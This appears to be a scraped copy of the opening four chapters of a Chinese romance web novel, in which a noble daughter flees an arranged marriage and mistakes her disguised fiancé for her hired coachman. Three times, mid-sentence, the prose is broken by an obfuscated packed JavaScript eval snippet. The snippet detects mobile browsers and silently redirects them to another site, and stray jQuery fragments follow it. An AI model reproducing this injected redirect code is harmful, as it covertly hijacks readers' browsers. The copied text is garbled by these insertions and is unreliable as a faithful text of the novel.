《笨蛋美人逃婚后》
1. 逃婚
1.
时逢惊蛰,阴雨连绵,又刮起了冷风,连平日最热闹的长安街上都没几个人,一向冷清的延寿坊却出奇热闹。
不算宽敞的街巷人头攒动,百姓们乌泱泱地把整条街都要堵了。
“来了来了!下聘的队伍来了!”
果然,有热闹的锣鼓声自坊口传来,送聘队伍如一条蜿蜒长龙,一眼过去看不到尾。
“这是送聘的队伍?我看简直比人家成亲的阵仗还大啊!”
也有被吸引来的外坊百姓,不知内里,垫高了脚,想去看车架上的徽记,只见“端阳”二字,惊道:“竟是端阳侯要成亲,他这些年凶名在外,竟也有小娘子愿意嫁?而且还是燕国公府的小娘子!”
这话明里暗里的透着酸,可酸有什么用,旁边人冷笑两声,说:“也不看看他是谁的儿子,有丹宁长公主这个母亲护着,又有太后和皇上的恩宠,别说是公府小姐,就算是公主也娶得!”
“就是就是,你们瞧这聘礼,说是足足有九十九抬,我看皇子娶亲,也不过如此了!”
“就是不知聘的是盛国公府的哪位小娘子,真是有福气啊。”
“只剩最小的三娘子还没嫁了吧……”
众人讨论得热火朝天,有人羡慕,有人赞叹,也就没注意到,人群最后藏着一个身形纤瘦的白面小郎君,从头到尾都是一副挑剔的表情。
直到身后的随从提醒般地戳了戳她的手背,她才敛了情绪,重新戴上斗笠,从人群里钻出来。
“琥珀,你听到方才那些人的话没?”直到走过一条街,锣鼓音都听不见了,盛乔的表情依然很难看,“在他们口中,倒成我有福气了。”
眼看她家小娘子脸都气红了,同样作男装打扮的琥珀忙哄道:“外人胡沁罢了,小娘子大人大量,何须同他们计较。”
盛乔却是越想越气,哼道:“我看长公主殿下心里也清楚得很,徐肃年能订下一门亲事不容易,所以才会送出这么多的聘礼,省得新娘子跑了。”
可惜,还是要跑……
想到方才那浩浩荡荡的送聘队伍,琥珀既无奈,也有些担心,正好左右无人,她凑到盛乔身边,小声问:“小娘子,您真的决定好要逃婚了?我瞧着今日这下聘的架势,长公主定然是很重视这门亲事,您就这么一走了之,会不会……不太好?”
听了这话,盛乔也有些沉默,她自然也是担心的,可她更不想把自己后半生的幸福搭进去。
上个月,她无意间听到阿爹阿娘说要给她定亲,定亲对象是丹宁长公主的嫡长子,端阳侯徐肃年。
那时,她对这桩婚事倒也没有特别抗拒,毕竟总是要嫁人的,两人身份相当,阿爹阿娘夸他是翩翩君子,和他共事的兄长也赞他仪表堂堂。
直到那日,她替三嫂去大理寺府衙给当值的三哥送晚膳,途径徐肃年所在的正堂时,听到受审的疑犯极为凄厉的惨叫,又听到洒扫的差役偷偷叫他酷吏。
她整个人如遭雷劈,回家之后,忙又叫琥珀去坊市间打听,才知道徐肃年为官的名声实在很差,近来有很多抄家连坐的案子都出自他的判决,有言官看不下去,上书弹劾,可总是还没等到结果就出了意外,不是摔断了腿,就是病得再也下不了榻。
她要嫁的,竟然是这种人?
什么翩翩君子,什么仪表堂堂,这分明是个心狠手辣,杀人不眨眼的恶魔。
盛乔得知他的真面目后,几乎每天都在做噩梦。
她哭闹着要退婚,一向宠爱她的阿爹阿娘却像变了个人似的,先是斥她闹小孩子脾气,等她将打听来的一切说出来后,又强硬地将她关在院子里,直到昨天才放出来。
若非无路可走,她又何至于逃婚?
幸而如今六礼未成,婚期都未定下,等阿爹阿娘发现她逃跑之后,再退婚也来得及。
想通这点,盛乔就再没什么顾虑了,坚定道:“我不嫁。”
琥珀打小跟在盛乔身边,在她心里,小娘子永远都是活泼明媚的,任何乱七八糟的事都不在意。
可想想最近这段时间,小娘子几乎每天都从噩梦中惊醒,吃也吃不好,玩也没心思,甚至有时坐在窗前发呆都会红了眼眶,再没有以前的开朗劲儿了。
琥珀不禁也有些难过,她一边暗骂自己多话,一边将话题转开,“那小娘子,咱们现在去哪?”
雨还没停,剩下的人又都去看热闹了,街上空空荡荡,盛乔穿着男装,也不必在意什么礼仪规矩,鹿皮小靴踩碎路边的积水,仿佛连方才的纠结和不安都被抛开了。
她飞快抹了抹眼角,重新振作道:“就按阿墨表姐说的,先去赁车行!”
郑墨是盛乔的表姐,因不喜拘束,十四岁起就在外面远游,这些年来不知去过多少地方。
盛乔与她关系最好,几乎无话不谈,她有了逃婚的念头之后,第一个就写信告诉了远在江州的郑墨。
郑墨也没有让她失望,不仅支持了她的想法,还帮她列了一个详细的出行计划。
其中第一步就是到车行买马车。
但别说是买马车了,盛乔从前连独自出门的机会都很少。郑墨显然也很了解表妹,于是十分贴心地帮她安排好了一切。
盛乔拿着郑墨寄给她的鱼形佩,照着郑墨给她画的简略路线图,和琥珀找到了她在信中所说的车行。
掌柜显然已经等候多时了,仔细检查了盛乔交给他的玉佩之后,没再多话,直接带她去后院看马车,待盛乔点头后,又将车夫徐二的身契交给了她。
表姐提前告诉过她,拿住身契是为了确保车夫路上不会生出二心。
盛乔接过仔细收进怀里,又有些奇怪地左右看了看,“车夫呢?他人没在么?”
掌柜解释道:“因着您这桩差事不能确定归期,徐二今日特意告了一天假,回家安顿老母亲去了,还望您不要怪罪。”
盛乔自不会怪罪,只是有些担心,“可我没见过车夫,明日怎么找他?”
掌柜笑了笑,也从怀里掏出一枚鱼形佩,对盛乔说道:“小的手里这枚鱼形佩和您的那枚本是一对儿,到时候徐二会随身带着,您只要看到这玉佩,自然不会认错。”
“好。”盛乔点头。
掌柜又与她叮嘱了几句,最后商定好,明日卯正时分,车夫徐二会去燕国公府西边的吉庆街等她。
盛乔郑重点头,表示自己记住了。
回到燕国公府,盛乔又是一夜未眠。
长到十六岁,这还是她第一次自己离开京城,既紧张又激动,甚至还有些兴奋。
辗转半夜,最后她干脆将自己出门要带的包袱又重新整理了一遍,总算熬到了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15279235|166759||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
寅时。
这时琥珀也已经醒了,端水进来给她梳洗。
盛乔身边共有四个一等丫鬟,但只有琥珀知道并参与了她的逃婚计划。
一是因为这件事知道的人越少越好,二则是因为,琥珀既是四人中跟她最久的,还有功夫在身。
这次离京,琥珀也会陪她一起。但今天毕竟多了几个包袱,为了不惹人注意,也为了以防万一,琥珀会到城外以盛乔的名义再赁一辆车,而后两人在城外回合。
这个主意自然也是经验丰富的郑墨教的,盛乔深以为然,并严格执行。
卯时差一刻,她背着自己的小包袱成功遛出了燕国公府。
约定的吉庆街也是郑墨给她选的,因那是从延寿坊出城的必经之路,而且离着燕国公府不远,盛乔以前没来过,但昨晚特意背了舆图路线,即使一个人也不算太慌。
谁知刚走到半路,就听到不远处传来一阵急促的马蹄声,将这安静的拂晓骤然打破。
起先盛乔还以为是开城门的官兵,径直往南走没有理会,直到她听到那马蹄声越来越近,并且伴随着严肃的传令声——
“大理寺公干!即可封锁街道,所有人禁止妄动,原地待命!”
大理寺!
大理寺不就是徐肃年任职的衙门?
这下盛乔彻底慌了。
眼下天还没亮,街上除了她再没有第二个人了。大理寺公干,又怎么会选这个时候。
难道是家里已经发现了她逃婚的事,所以请托徐肃年这个便宜未婚夫来抓她来了?
心虚的人总是容易自乱阵脚,盛乔像只被踩了尾巴的兔子,趁着官兵还没搜查到这条街,掉头就往旁边的巷子里跑。
她不敢停,生怕被人抓住,直到跑得双腿发软,跑到再也听不见一点声音,这才终于停下。
几乎要跳出来的心脏重新落回去,盛乔撑着墙头大口喘气,可气还没喘匀,她就又发现了一个严肃的问题——
她现在是在哪?吉庆街要怎么走?
盛乔再度绝望了。
颓丧了好半天,甚至生出了回家的念头,但她很快就又发现,回盛国公府的路她更记不得。
没办法,盛乔只能一边给自己打气,一边艰难回忆方才逃跑的路线。
走走停停,七拐八绕,等她找到记忆中的吉庆街,太阳都已经升起来了。
车夫不会走了吧?
盛乔看着空荡荡的街口,有些担心,但又往里走了几步,便看到不远处停着一辆青棚马车。
看来她没走错!
盛乔眼睛一亮,拎着包袱就要上车,不想推开车门后,车里竟然有人!
因为马车停在背阴处,又有门板遮光,盛乔看不清那人具体的样子,只能从身形判断,那是个男人。
应当是车夫徐二吧,等她等的太久,所以先进来睡一会儿。
盛乔心里表示理解,却又忍不住有些小小的不平衡。
她跑得累死累活,还险些被抓回家,这人却在马车里舒舒服服地睡大觉。而且他也睡得太沉了,她离得这么近还没醒。
盛乔忽然生出一点坏心。
不是说徐肃年恶名在外吗?
她蹑手蹑脚地爬上车,毫不留情地将那车夫推醒,大声恐吓道:“别睡啦!我看到徐肃年来了!”
2. 车夫
2.
大理寺积案繁多,徐肃年已经两个月没休息过了,昨晚更是审了半宿的案子,快天亮才把犯人的嘴撬开。
这案子办得不容易,大家都很辛苦,为防末了再出岔子,徐肃年才会天不亮就上门抓人。
幸而一切顺利,剩下的事交给底下人去审,他总算能偷一会儿闲。
很累,却又无处可去。
他虽然已经受封端阳侯,但并无自己的府邸,平时还是住在母亲的长公主府。
这个时辰回去,母亲会担心。
总归还要出城,徐肃年干脆靠在马车里等着开城门。
可他才刚闭上眼睛,就听到巷口传来脚步声。
他第一反应是有刺客,但听着又不太像,因此没有妄动,只躺着装睡。
直到马车的门被推开,一道娇喝在耳边炸开:“别睡啦!我看到徐肃年来了!”
徐肃年:?
他终于睁开眼,却没起身,在阴影中打量着眼前的人。
虽然穿着一身男装,但一眼就能看出来是个小女郎。
又矮又单薄,宽大的袖筒露出大半手掌,白嫩细瘦,不必试探就知道她没有任何危险性,瘦弱得连只兔子都打不过。
只那一张脸还能看,明明是女子的容貌,作男装打扮也不算突兀,反添了几分英气灵动。
尤其是那一双眼,如星似月,明亮又纯净。
能有这样的眼神,这女郎必然出身高门,且在家中十分受宠。
可哪个高门小姐会在这种时候,出现在这样一条破败的巷子里?
徐肃年又将她从头到脚审视了一遍,确定自己并没有见过这小女郎。
听她方才的话,也并不知道他是谁。
可她又认识“徐肃年”。
徐肃年挑了挑眉,没有说话。
盛乔却等急了,她从未见过这般不知礼数的人,见到她不主动开口问好也就罢了,甚至连动都不动一下,没看到她肩上还背着包袱呢吗?
这般傲慢,难不成是她认错了人,上错了车?
可这马车,就是和昨天那辆一模一样啊。盛乔皱了皱眉,终于想起来什么,问道:“你有玉佩吗?”
玉佩?
徐肃年愣了一下,忽然想起方才底下人呈上来的一枚鱼形佩。说是在隔壁的吉庆街街口,抓到了一个鬼鬼祟祟的车夫,这玉佩就是从他身上搜出来的。因怀疑是什么重要物证,就交到了他的手里。
他从袖中摸出那枚玉佩,问:“你说这个?”
总算是有点反应了,盛乔气鼓鼓地接过,和自己怀里的这枚合在一起,严丝合缝。
原来没认错人啊。
盛乔垮着一张小脸,把自己的玉佩在他面前晃了晃,“这下你知道我是谁了吧?你去驾车吧,我现在就要出城。”
琥珀还在城外等着她呢。
徐肃年仍旧没说话,但他的确知道她是谁了。却不是因为那枚玉佩,而是她刚刚抬手时,露出来了半个镯子。
金累丝,红宝石,孔雀纹。
那是他母亲丹宁长公主成亲时的嫁妆,少府监打造,当世只有一对儿,她在手腕上戴了二十多年,不久前才刚刚取下。
他好奇问了一句,说是送给了盛家的小娘子。
他也并未在意,只又买了对玉镯送给母亲。但没过多久,母亲竟然给他定了亲,就是和盛家小娘子。
年岁也差不多,看来眼前这位,就是他那素未谋面的未婚妻了。
徐肃年看向盛乔的眼神里带了点探究。
据他所知,昨天驸马爷还亲自带了聘礼到燕国公府下聘,本该在家中待嫁的小娘子今日就穿着一身男装出城,还特意雇了外面的马车,这是要做什么?
答案其实很好猜。
徐肃年抿住唇角的兴味,终于挪了挪身子。
他不怎么恭敬地扮演车夫,“小娘子请上车。”
这下,原本藏在阴影里的上半身彻底露了出来。
因为没有脚凳可踩,又没有婢女来扶,盛乔刚腿短志坚地爬上马车,就感觉一道如山的阴影压了过来。
本能的慌了一下,盛乔停住动作,抬头正对上男人的脸。
丰神俊朗,面如冠玉。
从前在书里看过的那些美好词汇仿佛一下子有了依托。
方才积攒的所有不满瞬间就消失得无影无踪,盛乔瞪大眼睛,“你,你真的是车夫?”
徐肃年点头,反问道:“我不像吗?”
当然不像!
谁能想到一个叫徐二的车夫,是长这个样子啊?
但这话不太矜持,盛乔自然不会说出来,她咳了一声,然后僵硬地转开话题:“时辰不早了,出城吧!”
和她一样,徐肃年今日也要出城。
去岁洛州水患,公粮被贪污,朝廷先后派了两位巡抚整治,查了一年却只有几本烂账,和两个被推上来顶罪的六品小官。
眼看又到汛期,为防重蹈覆辙,皇帝特意命他去洛州秘密探查。
他问盛乔:“小娘子是要去哪?”
盛乔放好包袱,“江州。”她要去找郑墨。
她很有自知之明,知道自己一个人在外面,是铁定活不下去的,虽然她带了很多的盘缠。
江州距长安足有两千里地,徐肃年没想到她要去这么远的地方,看来是下定决心要逃婚了。
这倒是帮了他一个大忙。
自去年及冠后,母亲就一直操心他的婚事,他几番推拒都没用,眼见聘礼都下了,他也只能眼不见心不烦地躲出去。
没想到他这位未婚妻竟也抱有同样的心思。
若他们都不在京城,这桩婚事自然也就成不了了。
思及此,徐肃年难得生出了那么一点善心。
看盛小娘子这傻里傻气的模样,认错了车夫都不知道,若不是命好遇到了他,怕是被卖了还要帮着数钱。
可到底是燕国公府的小娘子,且他听母亲说过,盛国公府的大娘子与她颇有交情,真出了事也麻烦。
亦或者她逃跑技艺不精,半路被人捉回去,只怕这桩亲事还是要成。
总归与他顺路,还是先带她一程,等他到了洛州,再派人把她送到江州去。
不过,他的真实身份是肯定不能告诉她的,干脆将错就错好了。
于是,徐肃年将位置让给她,然后自己钻出车厢,来到驭座。
天光已然大亮,原本寂静的街巷间也终于有了人气儿,此时徐肃年派去收拾包袱的护卫齐甄回来了,见主子坐在外面很是惊讶,“侯爷,您这是……”
徐肃年转头看了眼紧闭的车门。
这辆马车是他常用的,为方便路上处理公文,车厢用的是双层柚木,此时车门关着,寻常人几乎听不到外面声音。
等了两息,的确没有动静。
徐肃年这才道:“出了点意外,我要多带一个人。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15279236|166759||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
至于是谁,他没必要和下属解释。
齐甄虽好奇,但也不敢多嘴,应了声是,便恭敬地呈上包袱。
徐肃年接过,问:卢大人呢?”
他此行出京乃是公差,自然不会只有他自己。另一位卢大人卢烨是两年前的新科状元,一直待在翰林院,皇帝这次会选中他,也是想好好历练他一番。
洛州的水很深,徐肃年并没打算与他同行。
齐甄回答:“卢大人在半个时辰前已经出发了,没有走官道。”
徐肃年沉吟道:“此行不会太平,你也去保护卢烨。”
齐甄一惊,“那您……”
然而话未说完,就被徐肃年用眼神截断了。
跟随主上,只需听令。
齐甄自知多言,忙请罪。
徐肃年也懒得再多话,握着马鞭一抽,直往城门去了。
车轮一动,盛乔的最后一点担心也就彻底放下了。
虽然中途有些磕磕绊绊,但结果是好的,等出了城门,接上琥珀,她就再也不用嫁给那劳什子的徐肃年了!
她心情一好,连带着看周边所有事物都顺眼了,包括那个车夫。
虽然没什么礼貌,更不懂什么规矩,好在长得很俊,路途漫漫,看着解个闷也好。
这样想着,盛乔推开了一点车窗,探出半张脸,问道:“听你们掌柜说,你叫徐二?”
车夫竟然也姓徐?这回徐肃年都有些惊讶了,不过他并未表现出来,只很淡定地应了一声,“是。”
盛乔却更好奇了,“你的名字就是徐二?”
总觉得和他这张脸不太匹配。
这回徐肃年犹豫了一下,说:“倒是还有一个名字。”
盛乔立刻问:“什么?”
“少安。”
“少安?徐少安。”盛乔小声念了一遍这个名字,赞道,“这名字好,不像车夫,倒像是个富家的公子。”
这会儿倒是有点脑子了。
徐肃年以为这小女郎是觉察出了什么,正想多编两句遮掩过去,便又听到她的感慨,“能给你取这样一个名字,想必你的爹娘也都是读过书的人。可如今你卖身成了车夫,想必家里一定是经历了不小的变故,是不是?”
徐肃年:“……是,小娘子真是聪慧。”
盛乔听出他的迟疑,想来是自己戳到了他不愿提及的过往,让他觉得不自在了。
她当即有些抱歉,忙安慰道:“其实读书并非唯一的出路,与人赶车虽说出去不好听,但你也是靠自己的本事挣钱,比有些倚仗出身的纨绔强多了。”
说着说着,她又想起了那位出身尊贵的端阳侯,平和的语气变得咬牙切齿的。
徐肃年自然也听出她语气不对,却不知是在说谁。
反正不会是在说他。
他不甚在意地应了一声,又觉得她这话说得颇有见地,于是难得真心地赞了一句,“小娘子说得是。”
倒还是个明白人,盛乔满意地点点头,接着说道:“最当然最重要的是,你遇到了我。”
徐肃年:“……”
盛乔见他听得认真,趁热打铁把郑墨教给她的话背完,“只要你这一路上好好赶车,做好你该做的事,日后我绝不会少了你的好处。明白了吗?”
“……”
徐肃年差点演不下去,很是艰难地挤出三个字,“明白了。”
心里倒是庆幸,幸好这桩婚事不会成。
3. 发热
3.
大概两刻钟后,马车驶出春明门。
盛乔和琥珀就是约在这里汇合。
因为逾时太久,琥珀在城外已经等了小半个时辰了,她担心盛乔出什么事,心脏扑通扑通的没一刻消停。
盛乔隔着老远就看到琥珀在土路旁走来走去。
“琥珀!”
盛乔朝她招手,几乎半个身子都从窗口探出去,琥珀闻声回头,先是一愣,而后立刻朝这边狂奔而来,“小娘子!”
成功出城,又成功接到了琥珀。本来就十分激动的盛乔见此更是坐不住了,她使劲拍了拍车门,急道:“徐少安,停车,停车!”
徐肃年暗骂一声麻烦,侧身给她打开车门。
盛乔飞快从马车里钻出来,本想直接跳下去,又觉得太高,想了想还是抓住徐肃年的肩膀,试探着蹭了下去。
因为有些怕,没看到身旁男人紧紧蹙起的眉。
这会儿功夫,琥珀已经跑到了跟前,欢喜地抹了抹眼睛,“小娘子,您终于出来了。”
“是啊,我出来了!”盛乔迎上去抓住她的手,两个小娘子紧紧地抱在一起,一边转圈,一边叽叽喳喳地叫个不停,“我终于出来了!终于出来了!”
只看她那兴奋劲儿,知道的是出城,不知道的还以为是出狱呢。
徐肃年腹诽着偏过身子,并刻意把脸挡住,以防周围看热闹的以为他们认识。
盛乔却是被高涨的情绪支配着,根本没意识到自己的举动有多引人侧目,直到周围人都朝她们这边看过来,她才后知后觉地生出几分不好意思来。
她,她刚才都做了什么啊?她从前可是很知礼数的小娘子。
盛乔捂住半边脸。
琥珀是最了解她的,立时瞧出她的不自在,忙道:“小娘子,先上马车吧。”
“对对,马车。”盛乔如梦方醒,逃一般地拉着琥珀回到马车旁。
一回生,二回熟,她这次甚至都没想到上车需要人扶,直接一手扒着车门,一手再度抓上徐肃年的手臂,十分灵巧地爬上了马车。
反倒是跟在后面的琥珀有些不习惯了,惯例伸出的手就那么悬在了半空。
想到盛乔方才那个不雅的姿势,琥珀忍不住出声提醒,“小娘子,您……”
盛乔却没明白她的意思,看她伸着手,还以为她是爬不上来,于是转身去拉她,“快上来呀。”
琥珀看了眼一旁冷眼旁观的徐肃年,有些犹豫。
盛乔猜到她心中所想,宽解道:“往后还要同行,你只把他当自己人看就是了。”
徐肃年眉梢轻挑,没说什么,任由盛乔向琥珀介绍自己,“他就是我们路上的车夫,徐少安。”
方才都没仔细看,等爬上车之后,琥珀才真正看清了男人的脸,一时有些发怔,这是车夫?
她钻进车厢坐到盛乔身边,等车门关上,几乎是迫不及待地问出了口,“小娘子,他真是车夫吗?看着不太像啊。”
“当然。”盛乔十分确定地点点头,“我检查了他的玉佩。”
既然信物能对上,应该不会出岔子吧,琥珀总算是放了心。
盛乔又絮絮叨叨地讲自己晨起惊险的历程,听得琥珀是又惊又怕,然后毫不吝啬地真心夸赞,“还是小娘子聪慧!顺利化险为夷。”
盛乔得意地扬了扬下巴,“那是自然。”
说话的功夫,马车已经重新出发,徐肃年从身旁的包袱里翻出一顶斗笠扣到头上,竹篾编的帽檐遮住了大半张脸,再加上他身上极为朴素的窄袖青衫,倒真像个车夫了。
此行洛州,皇帝并未诏告六部,但徐肃年有一种预感,洛州那边一定早就知晓了此事。
他们事先有了准备,这案子查起来就难了。
所以徐肃年和卢烨兵分两路,卢烨代表朝廷光明正大,到时候就算什么都查不到,也能些许打消的警惕。
至于他,换个身份偷偷潜入洛州,如此得来的答案才是最真实的。
没遇到盛小娘子之前,他本是欲扮作商户,但商户太容易被拆穿,哪有车夫这身份低调易行,而且让人意料不到。
只是他的脚程不能比卢烨慢太多。
徐肃年一边驾车,一边在心里飞快地计算着路程。
洛州虽不及江州那么远,但少说也有七百里地,骑马只需三天,马车则要慢得多,但最多也不能超过六天。
如此一来,今天天黑前就必须赶到祈年镇,才能保证不耽搁行程。
很快,徐肃年就将每日行程都规划得清清楚楚,却忘了马车里还坐着两个人,尤其还有一个是他现在的“主人”。
马车还没走出去两里地,车门就又被敲了敲,徐肃年没有回头,反手将车门打开了一个缝隙,“何事?”
他急着赶路,一时忘了此时的身份,因此语气十分冷淡。
但盛乔并未在意,只是问他,“前面路上会有卖点心的摊子吗?”
徐肃年看了眼前面,觉得莫名其妙,“这是山路,哪来卖点心的?”
“没有么?”盛乔失望地啊了一声,“可我有些饿了。”
“还没到吃午膳的时辰。”徐肃年蹙了下眉,“何况这里没有东西给你吃。”
“可我早膳也没吃!”这是什么态度?盛乔不高兴,“而且我方才好像闻到香味了。”
徐肃年哦了一声,回答:“是方才在山脚路过了一个馄饨摊。”
“馄饨摊?”盛乔眼睛一下子亮了,“我好饿,有点想吃。”
徐肃年觉得这小娘子应当是听不懂人话,耐着性子又重复了一遍,“我们已经上山了,这是山路,那馄饨摊已经过去了。”
不想她竟理所当然地,“我知道啊。”
徐肃年:“?”
“再倒回去不就行了。”盛乔觉得这根本不算事,甚至嫌弃车夫太啰嗦,“只是吃个馄饨而已,用不了多久的。”
看着她眉眼弯弯的悠闲样子,徐肃年心想,这小娘子自出了城,就彻底忘了自己是为何出门的了。
若不是遇上了他,就照她这个走走停停的赶路速度,只怕还没出延寿坊就被燕国公府的人抓回去了。
徐肃年心里冷笑,刻意摆出一副惊讶的模样,“原来小娘子不急,我以为小娘子是急欲出城,这才赶得快了些。既然您不急,那我现在就掉头回去。”
一边说着,一边真的去扯缰绳。
听到他这话,盛乔忽然意识到自己现在有点太悠闲了。逃婚的事不会瞒太久,虽然她留了一封手信,也并不能保证阿爹真的不来找她。
若他铁了心要把她嫁给徐肃年,只怕抓她回家的人马已经在路上了。
还吃什么馄饨,还是先跑吧!
盛乔立刻打消了回去吃东西的念头,把身子重新缩回去,并不忘嘱咐徐肃年,“我很急的,还是快些,再快些。”
徐肃年不动声色地,“是。”
接下来的路程就顺利多了,甚至到了午膳时间都没有停车,徐肃年到路边买了几张烤饼,三人凑活着吃了,直到傍晚顺利地进了祈年镇,徐肃年才大发慈悲地宣布:“一会儿找个客栈,今晚在镇上住一夜吧。”
盛乔却仍不放心,“我们走的够远了吗?”
徐肃年没再吓唬她,“很远。”
总算能歇歇了。
盛乔松了口气。
她和琥珀都是第一次坐这么久的马车。随着路程的增长,原本还算宽敞的车厢仿佛一下子就狭窄起来,坐也不适,躺更难受。再加上山路颠簸,到最后整个身子都僵得发麻,像被什么东西碾过一样,
但这还不算什么,最可怕的是路上的如厕问题。
虽然马车上就有夜壶,但那个车夫就坐在车门外,盛乔是宁死都没办法说服
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15279237|166759||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
自己在马车里小解的。
因此,她路上只能少喝水,甚至中午啃那个干巴巴的烤饼时,她都强忍着只抿了一口,以至于现在嗓子里像被火烧过一样难受。
幸而这祈年镇是入京、离京的必经之地,镇上最不缺的就是客栈,徐肃年难得考虑到了两个女郎,挑了家最干净的店面,要了两间上房。
盛乔和琥珀的房间在三楼,几乎是一进房间,盛乔便立刻瘫到了床上。
琥珀虽然也累,但她毕竟是有些功夫在身的,不像盛乔那么娇弱。她将包袱放下,对盛乔说:“小娘子先歇着吧,我叫人送些热水来,泡个澡会舒服些。”
盛乔用最后一点力气把她叫住,“你也歇着吧,别去了。”
琥珀说:“我不累。”
盛乔却道:“我累,我已经没有力气泡澡了,我现在只想睡觉。”
说完,把脑袋往两个枕头间一扎,只露了个毛茸茸的后脑勺。
今天赶了这一天的路,连她这皮糙肉厚的都有些受不住,何况是一贯娇贵的小娘子。
琥珀既心疼,也有些无奈,她拿了自己的外裳给盛乔先盖上,小声哄道:“那娘子先睡,待晚膳预备好了我再叫您。”
回应她的是盛乔已经平稳的呼吸声。
趁她睡着,琥珀将带出来的几个包袱大致整理了下,等忙完也就差不多该用晚膳了。
“小娘子,小娘子。”琥珀走到床边,轻声叫她,“先起来吃了晚膳再睡吧。”
盛乔一动不动,完全没有醒来的迹象。
怎么会睡得这么沉?琥珀皱起眉,伸手轻轻推她手臂,却被她皮肤的温度烫到了。
怎么这么烫!
难怪一直不醒,只怕是高热烧迷糊了。
琥珀暗骂自己的粗心,当即就要喊人去请大夫。但还没出声就想起来,她们已经没在燕国公府了,这儿只是一个小镇的客栈。
大夫她可以自己去请,可她家小娘子怎么办?这么严重的高热,她是无论如何也不放心把她一个人留在房间的。
正纠结时,房门被敲响,是来提醒她们用膳的徐肃年。
琥珀还没有完全适应这个陌生男人的存在,愣了一瞬才反应过来。
门外的人提醒了一句就要走,琥珀忙追过去开门,“徐,徐大哥,别走。”
听到琥珀对他的称呼,徐肃年嘴角抽了抽,倒也没说什么,只问她何事。
琥珀道:“小娘子今天累坏了,回屋就发起了高热,你能不能……”
她想说,你能不能去请个大夫,但还没说完,就被徐肃年打断了。
“高热?”
徐肃年不敢相信,“这才一天就病了?”
他语气里的轻视有些过于明显,琥珀生气地瞪他一眼,“小娘子何等娇贵,身子又弱,像今天这般马不停蹄的赶路,只怕神仙也受不住。”
徐肃年只当没听懂她话里的责备,只问:“那你叫住我是想做什么?”
琥珀焦急道:“得请大夫,但小娘子这会儿身边不能离人,只能请你辛苦一趟了。”
徐肃年指了指外面的天色,很冷静:“人不生地不熟,天又黑透了,现在去哪请大夫?”
琥珀也没出过这么远的门,回答不上来。
徐肃年也没指望她能说出什么来,无声叹口气,道:“我少时学过几天医术,别的不行,风寒发热还是能治的。我给你家小娘子看看吧。”
说着就要往里走。
琥珀忙拦住他,慌道:“这,这怎么能行……男女授受不亲!”
徐肃年反问:“难道你在这儿能请来女大夫?”
女医本就是少数,何况是在这样的镇子。
琥珀被问住了,一时有些无措。
徐肃年也没再理她,径直走进女郎的卧房,同时不忘声明,“放心吧,我对你家小娘子没有企图。”
4. 梦话
4.
“我对你家小娘子没有企图。”
这话实在冒犯,琥珀脸色很难看,这车夫长得虽俊,但实在没有规矩。
不过眼下小娘子还病着,不是计较这些的时候。
她紧跟着徐肃年走进房间,盛乔并没有被他们两个吵醒,侧趴在被褥上,睡得很沉。
徐肃年搬了个圆凳坐到床边,正要去抓她的手腕,却被琥珀拦住,然后飞快地递了个帕子过去。
真是给自己捡了个麻烦。徐肃年深吸一口气,接过帕子垫到盛乔的腕子上,终于开始把脉。
脉象虚浮,跳动无力。
稍倾,徐肃年松开她的手腕,吩咐琥珀去取纸笔来。
“你竟还识字?”琥珀很惊讶。
徐肃年懒得在一个丫鬟面前装模作样,冷冷瞥了她一眼。
一个车夫身上怎么会有这么强势的气场,琥珀心口一跳,竟有些不敢看他。
“我,我去拿。”
他们订的上房是有书桌的,桌上就放着裁好的宣纸,琥珀拿过来,替徐肃年在床边的小几上铺开。
徐肃年提笔,飞快写了一副清热解毒的药方。
这小娘子的病并不算重,只是身娇体贵不习惯路上的颠簸,加上最近心内不宁,肝郁气滞,才会突然发作,等醒了灌两副药下去,很快就能痊愈。
他将这话告知琥珀,便欲起身离开。
这时,床上的盛乔忽然翻了个身,不知是不是做了梦,垂在床边的一只手还很不老实地挥了挥,徐肃年就立在床头,还没抬腿,反倒被她抓住了袍角。
“阿娘……”
盛乔低声呢喃。
徐肃年起先以为她是醒了要说话,却没听清她具体在说什么,正要问,就见盛乔在床上像条鱼一样弹动了一下,抓着他袍角的手指也跟着收紧。
像只呜咽的小狗,她哀戚戚地叫,“阿娘,阿爹!”
原是在说梦话。
这下连站得稍远的琥珀都听见了,跑过来拉住盛乔的手轻声安抚,“小娘子别怕,有我在呢,我在呢。”
看来是想家了。
徐肃年有些想笑,不料盛乔又突然大叫起来,“我不想嫁,不想嫁给那个恶魔!我不要……”
徐肃年:“……”
若没猜错的话,她口中的恶魔是他罢。
